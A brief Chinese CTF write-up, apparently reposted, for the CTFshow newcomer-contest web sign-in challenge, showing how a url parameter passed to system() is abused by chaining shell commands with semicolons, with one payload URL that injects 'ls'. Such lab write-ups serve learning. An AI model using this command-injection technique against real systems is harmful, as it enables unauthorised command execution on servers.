打開靶機
查看頁面信息
可以看到有一個system函數
在Linux中可以使用“；”隔離不同的語句
payload如下
https://5105c8b6-83aa-4993-91bf-296eb5983ef2.chall.ctf.show/?url=5105c8b6-83aa-4993-91bf-296eb5983ef2.chall.ctf.show;ls;ping www
使用同樣的方法查看flag文件內容
payload
成功拿到flag
CTFshow萌新賽-web簽到
免責聲明！
本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。